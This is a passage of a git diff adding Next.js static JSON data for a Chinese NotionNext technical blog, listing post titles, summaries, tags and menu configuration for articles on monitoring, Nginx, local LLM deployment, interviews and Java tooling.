arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"工具"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\273\272\347\253\231.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\273\272\347\253\231.json" new file mode 100644 index 000000000..8bef8209d --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\273\272\347\253\231.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install 